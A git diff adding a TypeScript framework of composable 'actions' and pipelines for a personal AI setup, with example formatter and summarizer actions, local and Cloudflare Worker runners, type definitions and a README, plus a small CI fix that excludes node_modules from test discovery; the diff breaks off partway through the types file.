diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 3efe9274..a0adf47c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -96,7 +96,8 @@ jobs: # Test job — vorbereitet für wenn Tests existieren - name: Tests (if tests exist) run: | - if find . -name "*.test.ts" -o -name "*.spec.ts" | grep -q .; then + # Exclude node_modules to avoid finding test files in dependencies + if find . -name "*.test.ts" -o -name "*.spec.ts" | grep -v node_modules | grep -q .; then echo "Test files found — running tests..." bun test else diff --git a/.opencode/PAI/ACTIONS/A_EXAMPLE_FORMAT/action.json b/.opencode/PAI/ACTIONS/A_EXAMPLE_FORMAT/action.json new file mode 100644 index 00000000..6ac4429d --- /dev/null +++ b/.opencode/PAI/ACTIONS/A_EXAMPLE_FORMAT/action.json @@ -0,0 +1,15 @@ +{ + "name": "A_EXAMPLE_FORMAT", + "version": "1.0.0", + "description": "Format a summary into structured markdown with title, bullet points, and metadata. Pure code action — no LLM required. Demonstrates the passthrough pipe pattern.", + "input": { + "summary": { "type": "string", "required": true } + }, + "output": { + "formatted": { "type": "string" }, + "format": { "type": "string" } + }, + "requires": [], + "tags": ["example", "formatting", "text"], + "license": "MIT" +} diff --git a/.opencode/PAI/ACTIONS/A_EXAMPLE_FORMAT/action.ts b/.opencode/PAI/ACTIONS/A_EXAMPLE_FORMAT/action.ts new file mode 100644 index 00000000..1daae312 --- /dev/null +++ b/.opencode/PAI/ACTIONS/A_EXAMPLE_FORMAT/action.ts @@ -0,0 +1,52 @@ +import type { ActionContext } from "../lib/types.v2"; + +interface Input { + summary: string; + title?: string; + word_count?: number; + [key: string]: unknown; +} + +interface Output { + formatted: string; + format: string; + [key: string]: unknown; +} + +export default { + async execute(input: Input, _ctx: ActionContext): Promise { + const { summary, title, word_count, ...upstream } = input; + + if (!summary) throw new Error("Missing required input: summary"); + + // Split summary into sentences for bullet formatting + const sentences = summary + .split(/(?<=[.!?])\s+/) + .filter((s) => s.trim().length > 0); + + // Build structured markdown + const lines: string[] = []; + + if (title) { + lines.push(`# ${title}`, ""); + } + + lines.push("## Summary", ""); + + for (const sentence of sentences) { + lines.push(`- ${sentence.trim()}`); + } + + if (word_count) { + lines.push("", `---`, `*${word_count} words*`); + } + + const formatted = lines.join("\n"); + + return { + ...upstream, + formatted, + format: "markdown", + }; + }, +}; diff --git a/.opencode/PAI/ACTIONS/A_EXAMPLE_SUMMARIZE/action.json b/.opencode/PAI/ACTIONS/A_EXAMPLE_SUMMARIZE/action.json new file mode 100644 index 00000000..275a7b0b --- /dev/null +++ b/.opencode/PAI/ACTIONS/A_EXAMPLE_SUMMARIZE/action.json @@ -0,0 +1,16 @@ +{ + "name": "A_EXAMPLE_SUMMARIZE", + "version": "1.0.0", + "description": "Summarize text content into a concise summary using LLM inference. Demonstrates the LLM capability and passthrough pipe pattern.", + "input": { + "content": { "type": "string", "required": true }, + "title": { "type": "string" } + }, + "output": { + "summary": { "type": "string" }, + "word_count": { "type": "integer" } + }, + "requires": ["llm"], + "tags": ["example", "llm", "text"], + "license": "MIT" +} diff --git a/.opencode/PAI/ACTIONS/A_EXAMPLE_SUMMARIZE/action.ts b/.opencode/PAI/ACTIONS/A_EXAMPLE_SUMMARIZE/action.ts new file mode 100644 index 00000000..b7044381 --- /dev/null +++ b/.opencode/PAI/ACTIONS/A_EXAMPLE_SUMMARIZE/action.ts @@ -0,0 +1,39 @@ +import type { ActionContext } from "../lib/types.v2"; + +interface Input { + content: string; + title?: string; + [key: string]: unknown; +} + +interface Output { + summary: string; + word_count: number; + [key: string]: unknown; +} + +export default { + async execute(input: Input, ctx: ActionContext): Promise { + const { content, ...upstream } = input; + + if (!content) throw new Error("Missing required input: content"); + + const llm = ctx.capabilities.llm; + if (!llm) throw new Error("LLM capability required"); + + const result = await llm(content, { + system: + "You are a concise summarizer. Summarize the following text in 2-3 sentences. " + + "Return ONLY the summary, no preamble or labels.", + tier: "fast", + }); + + const summary = result.text.trim(); + + return { + ...upstream, + summary, + word_count: summary.split(/\s+/).length, + }; + }, +}; diff --git a/.opencode/PAI/ACTIONS/README.md b/.opencode/PAI/ACTIONS/README.md new file mode 100644 index 00000000..e36e1dc9 --- /dev/null +++ b/.opencode/PAI/ACTIONS/README.md @@ -0,0 +1,221 @@ +# PAI Actions + +> **PAI 4.0** — This system is under active development. APIs, configuration formats, and features may change without notice. + +Atomic, composable units of work. Each action does one thing, takes JSON in, returns JSON out. + +> This directory contains the action framework (runner, lib, types). Personal actions are in `../USER/ACTIONS/`. + +## Architecture + +Actions run in two environments with identical behavior: + +``` +┌─────────────────────────────────────────────────────────┐ +│ PAI ACTIONS │ +│ │ +│ LOCAL CLOUD (Arbol) │ +│ ───── ────────────── │ +│ bun runner.v2.ts run POST / │ +│ A_YOUR_ACTION arbol-a-your-action │ +│ --input {...} .workers.dev │ +│ │ +│ Same action logic. Each action = 1 Worker. │ +│ Capabilities injected Bearer token auth. │ +│ by runner. Secrets via CF config. │ +│ │ +│ Pipe model: output of action N becomes input of N+1 │ +└─────────────────────────────────────────────────────────┘ +``` + +## Naming Convention + +- **Prefix:** `A_` for actions +- **Case:** `UPPER_SNAKE_CASE` +- **Length:** 2-4 words +- **Style:** Verb-first (`WRITE`, `EXTRACT`, `LABEL`) + +| Action | Description | Requires | +|--------|-------------|----------| +| `A_YOUR_ACTION` | Your custom action description | llm, readFile | +| `A_EXTRACT_TRANSCRIPT` | Extract YouTube transcript via yt-dlp | shell | +| `A_SEND_EMAIL` | Send email via Resend API | fetch | + +## Action Structure + +Each action is a flat directory: + +``` +A_YOUR_ACTION/ +├── action.json # Manifest: name, description, input/output schema, requires +└── action.ts # Implementation: execute(input, ctx) → output +``` + +### action.json + +```json +{ + "name": "A_YOUR_ACTION", + "description": "Description of what your action does.", + "input": { + "content": { "type": "string", "required": true }, + "title": { "type": "string" } + }, + "output": { + "summary": { "type": "string" }, + "labels": { "type": "array" }, + "rating": { "type": "string" }, + "quality_score": { "type": "integer" } + }, + "requires": ["llm"] +} +``` + +### action.ts + +```typescript +import type { ActionContext } from "../lib/types.v2"; + +export default { + async execute(input: Input, ctx: ActionContext): Promise { + const { content, ...upstream } = input; // separate content from metadata + // ... do work using ctx.capabilities ... + return { ...upstream, ...results }; // pass metadata through + }, +}; +``` + +## Pipe Model + +Actions compose via piping. The output of one action becomes the input of the next. + +``` +A_FIRST_ACTION A_SECOND_ACTION +┌─────────────────┐ ┌──────────────────┐ +│ Input: │ │ Input: │ +│ url │ ─────> │ content │ (was "transcript") +│ │ │ source_id │ (passed through) +│ Output: │ │ title │ (passed through) +│ content ────┤ │ │ +│ source_id ────┤ │ Output: │ +│ title ────┤ │ summary │ +│ source ────┤ │ labels │ +└─────────────────┘ │ rating │ + │ quality_score │ + └──────────────────┘ +``` + +**Key pattern:** Actions use `const { content, ...upstream } = input` and return `{ ...upstream, ...ownFields }` to preserve metadata through the pipe. + +## Capabilities + +Actions declare what they need in `action.json` under `requires`. The runner injects implementations: + +| Capability | What It Provides | Example Use | +|-----------|-----------------|-------------| +| `llm` | AI inference (Anthropic API) | LLM-based actions | +| `shell` | Shell command execution | CLI tool wrappers | +| `readFile` | Read files from filesystem | Pattern-based actions | +| `fetch` | HTTP requests | API integrations | + +## Running Locally + +```bash +# Run a single action +cd ~/.opencode/PAI/ACTIONS +bun lib/runner.v2.ts run A_YOUR_ACTION --input '{"content": "Your text here"}' + +# Run via pipeline runner +bun lib/pipeline-runner.ts run P_YOUR_PIPELINE --url "https://example.com/content" +``` + +## Cloud Deployment (Arbol) + +Every action is deployed as a separate Cloudflare Worker under the **Arbol** project. + +### Workers + +Each action is deployed as a Worker with the pattern `arbol-a-{action-name}`: + +| Worker | URL | Type | +|--------|-----|------| +| `arbol-a-your-action` | `https://arbol-a-your-action.YOUR-SUBDOMAIN.workers.dev` | LLM action | +| `arbol-a-send-email` | `https://arbol-a-send-email.YOUR-SUBDOMAIN.workers.dev` | Custom action (Resend API) | + +### Authentication + +All Workers require Bearer token authentication: + +```bash +curl -X POST https://arbol-a-your-action.YOUR-SUBDOMAIN.workers.dev/ \ + -H "Authorization: Bearer YOUR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"content": "Your text here", "title": "Optional title"}' +``` + +### Response Format + +```json +{ + "success": true, + "action": "A_YOUR_ACTION", + "duration_ms": 5730, + "output": { + "summary": "...", + "labels": ["topic-a", "topic-b"], + "rating": "B Tier", + "quality_score": 62 + } +} +``` + +### Deploying + +```bash +cd ~/Projects/arbol + +# Deploy all Workers +bash deploy.sh --all + +# Deploy specific Worker +bash deploy.sh a-your-action + +# Set secrets (first time) +bash deploy.sh --secrets +``` + +### Architecture + +- **LLM actions** (label, write) — Cloudflare Workers using `createActionWorker` factory, call Anthropic API +- **Shell actions** (extract) — Cloudflare Sandbox SDK, Docker container with yt-dlp +- **Custom actions** (send-email) — Cloudflare Workers with custom logic, no LLM (e.g., Resend API for email) +- **Pipelines** — Workers with service bindings that chain action Workers internally +- **Flows** — Workers with Cron Triggers that orchestrate source → pipeline → destination +- **Shared code** — `shared/auth.ts`, `shared/anthropic.ts`, `shared/action-worker.ts` + +### Secrets + +| Secret | Required By | Purpose | +|--------|------------|---------| +| `AUTH_TOKEN` | All Workers | Bearer token authentication | +| `ANTHROPIC_API_KEY` | LLM actions | Anthropic API access | +| `RESEND_API_KEY` | `a-send-email` | Resend email API access | + +## Creating a New Action + +1. Create directory `A_YOUR_ACTION/` with `action.json` and `action.ts` +2. Follow the naming convention: `A_VERB_NOUN`, 2-4 words +3. Declare capabilities in `requires` +4. Use the passthrough pattern: `{ ...upstream, ...yourFields }` +5. To deploy as a Worker, add a directory under `~/Projects/arbol/workers/` + +## Legacy Actions + +The `feed/` directory contains legacy-format actions (feed/ingest, feed/rate, feed/route, feed/summarize) that predate the A_ naming convention. These will be migrated to `A_FEED_INGEST`, etc. + +## See Also + +- `../PIPELINES/README.md` — Pipeline definitions that chain actions +- `../FLOWS/README.md` — Flow definitions that connect sources to pipelines on a schedule +- `~/Projects/arbol/` — Cloudflare Workers source (Arbol project) +- `../SKILL.md` — Core PAI documentation diff --git a/.opencode/PAI/ACTIONS/lib/pipeline-runner.ts b/.opencode/PAI/ACTIONS/lib/pipeline-runner.ts new file mode 100644 index 00000000..ef9983c6 --- /dev/null +++ b/.opencode/PAI/ACTIONS/lib/pipeline-runner.ts @@ -0,0 +1,124 @@ +#!/usr/bin/env bun +/** + * PAI Pipeline Runner — v2 (simplified) + * + * A pipeline is a list of actions. That's it. + * Each action's output pipes into the next action's input. + * The pipeline output is the last action's output. + */ + +import { readFile } from "fs/promises"; +import { join } from "path"; +import { parse as parseYaml } from "yaml"; + +const ACTIONS_DIR = join(import.meta.dir, ".."); +const PIPELINES_DIR = join(ACTIONS_DIR, "..", "PIPELINES"); +const USER_PIPELINES_DIR = join(ACTIONS_DIR, "..", "USER", "PIPELINES"); + +interface Pipeline { + name: string; + description: string; + actions: string[]; +} + +/** + * Load a pipeline YAML + * Resolution order: USER/PIPELINES (personal) → PIPELINES (system/framework) + */ +async function loadPipeline(name: string): Promise { + // Check USER/PIPELINES first + const userPath = join(USER_PIPELINES_DIR, `${name}.yaml`); + try { + const content = await readFile(userPath, "utf-8"); + return parseYaml(content) as Pipeline; + } catch {} + + // Fall back to PIPELINES (system) + const systemPath = join(PIPELINES_DIR, `${name}.yaml`); + const content = await readFile(systemPath, "utf-8"); + return parseYaml(content) as Pipeline; +} + +/** + * Run a pipeline: pipe data through each action sequentially + */ +export async function runPipeline( + name: string, + input: Record +): Promise<{ success: boolean; output?: unknown; error?: string }> { + try { + const pipeline = await loadPipeline(name); + let data: unknown = input; + + for (const actionName of pipeline.actions) { + console.error(`[pipeline] ${actionName}`); + + const { runAction } = await import("./runner.v2"); + const result = await runAction(actionName, data); + + if (!result.success) { + return { success: false, error: `${actionName} failed: ${result.error}` }; + } + + data = result.output; // pipe: output becomes next input + } + + return { success: true, output: data }; + } catch (err) { + return { success: false, error: err instanceof Error ? err.message : String(err) }; + } +} + +/** + * List all pipelines from both USER (personal) and SYSTEM (framework) directories. + */ +export async function listPipelines(): Promise { + const { readdir } = await import("fs/promises"); + const seen = new Set(); + const result: string[] = []; + + // USER first (personal takes precedence) + for (const dir of [USER_PIPELINES_DIR, PIPELINES_DIR]) { + try { + const files = await readdir(dir); + for (const f of files) { + if (f.endsWith(".yaml")) { + const name = f.replace(".yaml", ""); + if (!seen.has(name)) { + result.push(name); + seen.add(name); + } + } + } + } catch {} + } + + return result; +} + +// CLI +if (import.meta.main) { + const args = process.argv.slice(2); + + if (args[0] === "list") { + const pipelines = await listPipelines(); + console.log(JSON.stringify({ pipelines }, null, 2)); + } else if (args[0] === "run" && args[1]) { + const name = args[1]; + const input: Record = {}; + + for (let i = 2; i < args.length; i += 2) { + const key = args[i].replace(/^--/, ""); + let value: unknown = args[i + 1]; + try { value = JSON.parse(value as string); } catch {} + input[key] = value; + } + + const result = await runPipeline(name, input); + console.log(JSON.stringify(result, null, 2)); + } else { + console.log("Usage:"); + console.log(" pipeline-runner.ts list"); + console.log(" pipeline-runner.ts run [--key value ...]"); + } +} diff --git a/.opencode/PAI/ACTIONS/lib/runner.ts b/.opencode/PAI/ACTIONS/lib/runner.ts new file mode 100644 index 00000000..21ef37bd --- /dev/null +++ b/.opencode/PAI/ACTIONS/lib/runner.ts @@ -0,0 +1,333 @@ +#!/usr/bin/env bun +/** + * ============================================================================ + * PAI ACTIONS - Local Runner + * ============================================================================ + * + * Executes actions locally or dispatches to cloud workers. + * Handles input validation, execution, output validation. + * + * USAGE: + * # As library + * import { runAction } from './runner'; + * const result = await runAction('parse/topic', { text: 'quantum computing' }); + * + * # As CLI (via pai wrapper) + * echo '{"text":"quantum"}' | bun runner.ts parse/topic + * bun runner.ts parse/topic --input '{"text":"quantum"}' + * + * ============================================================================ + */ + +import { resolve, dirname, join, relative } from "path"; +import type { ActionSpec, ActionContext, ActionResult } from "./types"; + +const ACTIONS_DIR = dirname(import.meta.dir); + +/** + * Load an action by name + * + * SECURITY: Validates name to prevent path traversal attacks. + * Only allows alphanumeric, dash, underscore, and single slash for category/action. + * Rejects '..' segments and absolute paths. + */ +export async function loadAction(name: string): Promise { + // SECURITY: Validate name format to prevent path traversal + // Allow only: alphanumeric, dash, underscore, single slash + const validNamePattern = /^[a-zA-Z0-9_-]+\/[a-zA-Z0-9_-]+$/; + if (!validNamePattern.test(name)) { + throw new Error(`Invalid action name: ${name}. Must match pattern: category/action (alphanumeric, dash, underscore only)`); + } + + // Convert category/name to path: parse/topic -> parse/topic.action.ts + const actionPath = join(ACTIONS_DIR, `${name}.action.ts`); + + // SECURITY: Ensure resolved path is within ACTIONS_DIR + const resolvedPath = resolve(actionPath); + if (!resolvedPath.startsWith(ACTIONS_DIR)) { + throw new Error(`Path traversal detected: ${name} resolves outside actions directory`); + } + + try { + const module = await import(actionPath); + const action = module.default || module.action; + + if (!action || !action.execute) { + throw new Error(`Action ${name} does not export a valid ActionSpec`); + } + + return action; + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ERR_MODULE_NOT_FOUND') { + throw new Error(`Action not found: ${name} (looked in ${actionPath})`); + } + throw error; + } +} + +/** + * Run an action with input validation + */ +export async function runAction( + name: string, + input: TInput, + options: { + mode?: "local" | "cloud"; + env?: Record; + traceId?: string; + } = {} +): Promise> { + const startTime = Date.now(); + const mode = options.mode || "local"; + + try { + const action = await loadAction(name) as ActionSpec; + + // Validate input + const validatedInput = action.inputSchema.parse(input); + + // Build context + const ctx: ActionContext = { + mode, + env: options.env || process.env, + trace: options.traceId ? { + traceId: options.traceId, + spanId: crypto.randomUUID().slice(0, 8), + } : undefined, + }; + + if (mode === "cloud") { + return await dispatchToCloud(name, validatedInput, ctx, action); + } + + // Execute locally + const output = await action.execute(validatedInput, ctx); + + // Validate output + const validatedOutput = action.outputSchema.parse(output); + + return { + success: true, + output: validatedOutput, + metadata: { + durationMs: Date.now() - startTime, + action: name, + mode, + }, + }; + } catch (error) { + return { + success: false, + error: error instanceof Error ? error.message : String(error), + metadata: { + durationMs: Date.now() - startTime, + action: name, + mode, + }, + }; + } +} + +/** + * Dispatch to cloud worker + */ +async function dispatchToCloud( + name: string, + input: TInput, + ctx: ActionContext, + action: ActionSpec +): Promise> { + const startTime = Date.now(); + + // Worker URL pattern: pai-{category}-{name}.{subdomain}.workers.dev + const workerName = name.replace("/", "-"); + const subdomain = process.env.CF_ACCOUNT_SUBDOMAIN || 'workers'; + const workerUrl = `https://pai-${workerName}.${subdomain}.workers.dev`; + + // Setup timeout with AbortController + const controller = new AbortController(); + let timeoutMs = 30000; // Default 30s + if (ctx.env?.ACTION_TIMEOUT_MS) { + const parsed = parseInt(ctx.env.ACTION_TIMEOUT_MS, 10); + if (!Number.isNaN(parsed) && parsed > 0) { + timeoutMs = parsed; + } + } + const timeoutId = setTimeout(() => controller.abort(), timeoutMs); + + try { + const response = await fetch(workerUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + ...(ctx.trace && { "X-Trace-Id": ctx.trace.traceId }), + }, + body: JSON.stringify(input), + signal: controller.signal, + }); + + clearTimeout(timeoutId); + + if (!response.ok) { + const error = await response.text(); + return { + success: false, + error: `Worker error (${response.status}): ${error}`, + metadata: { + durationMs: Date.now() - startTime, + action: name, + mode: "cloud", + }, + }; + } + + const result = await response.json(); + + // SECURITY: Validate cloud response with schema before returning + const validatedOutput = action.outputSchema.parse(result); + + return { + success: true, + output: validatedOutput, + metadata: { + durationMs: Date.now() - startTime, + action: name, + mode: "cloud", + }, + }; + } catch (error) { + clearTimeout(timeoutId); + + // Handle timeout specifically + if (error instanceof Error && error.name === 'AbortError') { + return { + success: false, + error: `Cloud action timed out after ${timeoutMs}ms`, + metadata: { + durationMs: Date.now() - startTime, + action: name, + mode: "cloud", + }, + }; + } + + return { + success: false, + error: error instanceof Error ? error.message : String(error), + metadata: { + durationMs: Date.now() - startTime, + action: name, + mode: "cloud", + }, + }; + } +} + +/** + * List all available actions + */ +export async function listActions(): Promise { + const { glob } = await import("glob"); + const pattern = join(ACTIONS_DIR, "**/*.action.ts"); + const files = await glob(pattern); + + return files.map(f => { + // Use path.relative for cross-platform compatibility + const relativePath = relative(ACTIONS_DIR, f); + // Remove .action.ts extension + return relativePath.replace(/\.action\.ts$/, ""); + }); +} + +/** + * CLI entry point + */ +async function main() { + const args = process.argv.slice(2); + + // Parse flags + let mode: "local" | "cloud" = "local"; + let inputJson: string | undefined; + let actionName: string | undefined; + + for (let i = 0; i < args.length; i++) { + if (args[i] === "--mode" && args[i + 1]) { + const modeValue = args[i + 1]; + // Validate mode - only allow "local" or "cloud" + if (modeValue === "local" || modeValue === "cloud") { + mode = modeValue; + } else { + console.error(`Error: Invalid mode "${modeValue}". Must be "local" or "cloud".`); + process.exit(1); + } + i++; + } else if (args[i] === "--input" && args[i + 1]) { + inputJson = args[i + 1]; + i++; + } else if (args[i] === "--list") { + const actions = await listActions(); + console.log(JSON.stringify({ actions }, null, 2)); + return; + } else if (!actionName) { + actionName = args[i]; + } + } + + if (!actionName) { + console.error("Usage: bun runner.ts [--mode local|cloud] [--input '']"); + console.error(" echo '' | bun runner.ts "); + console.error(" bun runner.ts --list"); + process.exit(1); + } + + // Get input from stdin or --input flag + let input: unknown; + + if (inputJson) { + try { + input = JSON.parse(inputJson); + } catch (err) { + console.error(`Error: Invalid JSON in --input: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); + } + } else if (!process.stdin.isTTY) { + // Read from stdin + const chunks: Buffer[] = []; + for await (const chunk of process.stdin) { + chunks.push(chunk); + } + const stdinContent = Buffer.concat(chunks).toString().trim(); + if (stdinContent) { + try { + input = JSON.parse(stdinContent); + } catch (err) { + console.error(`Error: Invalid JSON from stdin: ${err instanceof Error ? err.message : String(err)}`); + process.exit(1); + } + } + } + + // FIX: Check for undefined specifically, not falsy values + // This allows 0, false, "", null as valid inputs + if (input === undefined) { + console.error("Error: No input provided. Use --input or pipe JSON to stdin."); + process.exit(1); + } + + const result = await runAction(actionName, input, { mode }); + + if (result.success) { + console.log(JSON.stringify(result.output)); + } else { + console.error(JSON.stringify({ error: result.error, metadata: result.metadata })); + process.exit(1); + } +} + +// Run if executed directly +if (import.meta.main) { + main().catch((err) => { + console.error(err); + process.exit(1); + }); +} diff --git a/.opencode/PAI/ACTIONS/lib/runner.v2.ts b/.opencode/PAI/ACTIONS/lib/runner.v2.ts new file mode 100644 index 00000000..332af0f0 --- /dev/null +++ b/.opencode/PAI/ACTIONS/lib/runner.v2.ts @@ -0,0 +1,314 @@ +#!/usr/bin/env bun +/** + * ============================================================================ + * PAI ACTIONS v2 - Runner with Capability Injection + * ============================================================================ + * + * Loads action packages (action.json + action.ts) and provides capabilities. + * + * ============================================================================ + */ + +import { readFile, readdir } from "fs/promises"; +import { join, dirname } from "path"; +import type { + ActionManifest, + ActionImplementation, + ActionContext, + ActionCapabilities, + ActionResult, + LLMOptions, + LLMResponse, +} from "./types.v2"; +import { validateSchema } from "./types.v2"; + +const ACTIONS_DIR = dirname(import.meta.dir); +const USER_ACTIONS_DIR = join(ACTIONS_DIR, "..", "USER", "ACTIONS"); + +/** + * Local LLM provider using PAI's Inference tool + */ +async function createLocalLLM(): Promise { + const inferenceModule = await import( + join(process.env.HOME!, ".opencode/PAI/Tools/Inference.ts") + ); + const { inference } = inferenceModule; + + return async (prompt: string, options?: LLMOptions): Promise => { + const tierMap = { fast: "fast", standard: "standard", smart: "smart" } as const; + + const result = await inference({ + userPrompt: prompt, + systemPrompt: options?.system, + level: tierMap[options?.tier || "fast"], + expectJson: options?.json, + maxTokens: options?.maxTokens, + }); + + if (!result.success) { + throw new Error(result.error || "LLM inference failed"); + } + + return { + text: result.output || "", + json: result.parsed, + usage: result.usage, + }; + }; +} + +/** + * Create capability providers for local execution + */ +async function createLocalCapabilities( + required: ActionManifest["requires"] = [] +): Promise { + const capabilities: ActionCapabilities = {}; + + for (const cap of required) { + switch (cap) { + case "llm": + capabilities.llm = await createLocalLLM(); + break; + case "fetch": + capabilities.fetch = fetch; + break; + case "shell": + capabilities.shell = async (cmd: string) => { + const { $ } = await import("bun"); + try { + const result = await $`sh -c ${cmd}`.quiet(); + return { stdout: result.text(), stderr: "", code: 0 }; + } catch (err: unknown) { + const e = err as { stderr?: { toString(): string }; exitCode?: number }; + return { + stdout: "", + stderr: e.stderr?.toString() || String(err), + code: e.exitCode || 1, + }; + } + }; + break; + case "readFile": + capabilities.readFile = async (path: string) => { + return Bun.file(path).text(); + }; + break; + case "writeFile": + capabilities.writeFile = async (path: string, content: string) => { + await Bun.write(path, content); + }; + break; + // kv would need a backend - skip for now + } + } + + return capabilities; +} + +/** + * Load an action manifest from a directory + */ +export async function loadManifest(actionPath: string): Promise { + const manifestPath = join(actionPath, "action.json"); + const content = await readFile(manifestPath, "utf-8"); + return JSON.parse(content) as ActionManifest; +} + +/** + * Load an action implementation + */ +export async function loadImplementation( + actionPath: string +): Promise> { + const implPath = join(actionPath, "action.ts"); + const module = await import(implPath); + return module.default as ActionImplementation; +} + +/** + * Find action directory by name + * Resolution order: USER/ACTIONS (personal) → ACTIONS (system/framework) + * Supports: A_NAME (flat, new) or category/name (legacy) + */ +export async function findAction(name: string): Promise { + // New flat format: A_EXTRACT_TRANSCRIPT + if (name.startsWith("A_")) { + // Check USER/ACTIONS first (personal actions override system) + const userPath = join(USER_ACTIONS_DIR, name); + try { + await readFile(join(userPath, "action.json"), "utf-8"); + return userPath; + } catch {} + + // Fall back to ACTIONS (system/framework) + const systemPath = join(ACTIONS_DIR, name); + try { + await readFile(join(systemPath, "action.json"), "utf-8"); + return systemPath; + } catch { + return null; + } + } + + // Legacy format: category/name → check USER first, then SYSTEM + const parts = name.split("/"); + if (parts.length !== 2) return null; + + const [category, actionName] = parts; + + // Check USER/ACTIONS first + const userPath = join(USER_ACTIONS_DIR, category, actionName); + try { + await readFile(join(userPath, "action.json"), "utf-8"); + return userPath; + } catch {} + + // Fall back to ACTIONS (system) + const systemPath = join(ACTIONS_DIR, category, actionName); + try { + await readFile(join(systemPath, "action.json"), "utf-8"); + return systemPath; + } catch { + return null; + } +} + +/** + * Run an action with capability injection + */ +export async function runAction( + name: string, + input: TInput, + options: { mode?: "local" | "cloud" } = {} +): Promise> { + const startTime = Date.now(); + const mode = options.mode || "local"; + + // Find action + const actionPath = await findAction(name); + if (!actionPath) { + return { success: false, error: `Action not found: ${name}` }; + } + + try { + // Load manifest and implementation + const manifest = await loadManifest(actionPath); + const implementation = await loadImplementation(actionPath); + + // Validate required input fields (simplified — no ajv for new format) + if (manifest.input && !manifest.input.type) { + // New simplified format: { field: { type, required } } + const inputObj = input as Record; + for (const [field, spec] of Object.entries(manifest.input as Record)) { + if (spec.required && (inputObj[field] === undefined || inputObj[field] === null)) { + return { success: false, error: `Missing required input: ${field}` }; + } + } + } else if (manifest.input?.type === "object") { + // Legacy JSON Schema format — use ajv + const inputValidation = await validateSchema(input, manifest.input); + if (!inputValidation.valid) { + return { success: false, error: `Input validation failed: ${inputValidation.errors?.join(", ")}` }; + } + } + + // Create capabilities + const capabilities = await createLocalCapabilities(manifest.requires); + + // Create context + const ctx: ActionContext = { + capabilities, + env: { mode }, + }; + + // Execute + const output = await implementation.execute(input, ctx); + + return { + success: true, + output, + metadata: { + durationMs: Date.now() - startTime, + action: manifest.name, + version: manifest.version || "1.0.0", + }, + }; + } catch (err) { + return { + success: false, + error: err instanceof Error ? err.message : String(err), + metadata: { + durationMs: Date.now() - startTime, + action: name, + version: "unknown", + }, + }; + } +} + +/** + * List all actions from both USER (personal) and SYSTEM (framework) directories. + * USER actions take precedence over SYSTEM actions with the same name. + */ +export async function listActionsV2(): Promise { + const manifests: ActionManifest[] = []; + const seen = new Set(); + + // Scan a directory for actions (A_ flat + legacy nested) + async function scanDir(baseDir: string) { + try { + const entries = await readdir(baseDir, { withFileTypes: true }); + for (const entry of entries) { + if (!entry.isDirectory() || entry.name === "lib") continue; + + if (entry.name.startsWith("A_")) { + if (seen.has(entry.name)) continue; + try { + const manifest = await loadManifest(join(baseDir, entry.name)); + manifests.push(manifest); + seen.add(entry.name); + } catch {} + } else { + const catPath = join(baseDir, entry.name); + try { + const items = await readdir(catPath, { withFileTypes: true }); + for (const item of items) { + if (!item.isDirectory()) continue; + const key = `${entry.name}/${item.name}`; + if (seen.has(key)) continue; + try { + const manifest = await loadManifest(join(catPath, item.name)); + manifests.push(manifest); + seen.add(key); + } catch {} + } + } catch {} + } + } + } catch {} + } + + // USER first (personal takes precedence), then SYSTEM + await scanDir(USER_ACTIONS_DIR); + await scanDir(ACTIONS_DIR); + + return manifests; +} + +// CLI support +if (import.meta.main) { + const args = process.argv.slice(2); + const cmd = args[0]; + + if (cmd === "list") { + const actions = await listActionsV2(); + console.log(JSON.stringify({ actions: actions.map(a => a.name) }, null, 2)); + } else if (cmd === "run" && args[1]) { + const input = args[2] ? JSON.parse(args[2]) : {}; + const result = await runAction(args[1], input); + console.log(JSON.stringify(result, null, 2)); + } else { + console.log("Usage: runner.v2.ts list | run [input-json]"); + } +} diff --git a/.opencode/PAI/ACTIONS/lib/types.ts b/.opencode/PAI/ACTIONS/lib/types.ts new file mode 100644 index 00000000..0b5cf207 --- /dev/null +++ b/.opencode/PAI/ACTIONS/lib/types.ts @@ -0,0 +1,184 @@ +#!/usr/bin/env bun +/** + * ============================================================================ + * PAI ACTIONS - Core Type Definitions + * ============================================================================ + * + * Actions are atomic, composable units of work with typed inputs and outputs. + * They follow Unix philosophy: do one thing well, communicate via JSON streams. + * + * KEY CONCEPTS: + * - Actions have Zod schemas for input/output validation + * - Actions can run locally or as Cloudflare Workers + * - Pipelines chain actions, but ARE actions (same interface) + * - Everything is JSON stdin → processing → JSON stdout + * + * ============================================================================ + */ + +import { z, type ZodType } from "zod"; + +/** + * Execution context passed to every action + */ +export interface ActionContext { + /** Where the action is running */ + mode: "local" | "cloud"; + + /** Environment/secrets available to the action */ + env?: Record; + + /** Trace context for observability */ + trace?: { + traceId: string; + spanId: string; + parentSpanId?: string; + }; + + /** Pipeline context when running as part of a pipeline */ + pipeline?: { + name: string; + stepId: string; + stepIndex: number; + }; +} + +/** + * Result wrapper for action execution + */ +export interface ActionResult { + success: boolean; + output?: T; + error?: string; + metadata?: { + durationMs: number; + action: string; + mode: "local" | "cloud"; + }; +} + +/** + * Deployment hints for worker generation + */ +export interface DeploymentConfig { + /** Timeout in milliseconds (default: 30000) */ + timeout?: number; + + /** Memory limit in MB for worker sizing */ + memory?: number; + + /** Environment variables/secrets required */ + secrets?: string[]; + + /** CPU-intensive: use unbound worker */ + cpuIntensive?: boolean; +} + +/** + * The core Action specification + * + * Every action implements this interface. Pipelines also implement this + * interface, making them composable at the same level as atomic actions. + */ +export interface ActionSpec { + /** Unique identifier: category/name (e.g., "parse/topic") */ + name: string; + + /** Semantic version */ + version: string; + + /** Human-readable description */ + description: string; + + /** Zod schema for input validation */ + inputSchema: ZodType; + + /** Zod schema for output validation */ + outputSchema: ZodType; + + /** The execution function */ + execute: (input: TInput, ctx: ActionContext) => Promise; + + /** Optional deployment configuration */ + deployment?: DeploymentConfig; + + /** Optional tags for categorization */ + tags?: string[]; +} + +/** + * Registry entry with resolved metadata + */ +export interface ActionRegistryEntry { + name: string; + version: string; + description: string; + path: string; + inputSchema: Record; + outputSchema: Record; + tags?: string[]; + deployment?: DeploymentConfig; +} + +/** + * The action registry format + */ +export interface ActionRegistry { + version: string; + generatedAt: string; + actions: ActionRegistryEntry[]; +} + +/** + * Helper to create a typed action + */ +export function defineAction( + spec: ActionSpec +): ActionSpec { + return spec; +} + +/** + * Common schema types for reuse across 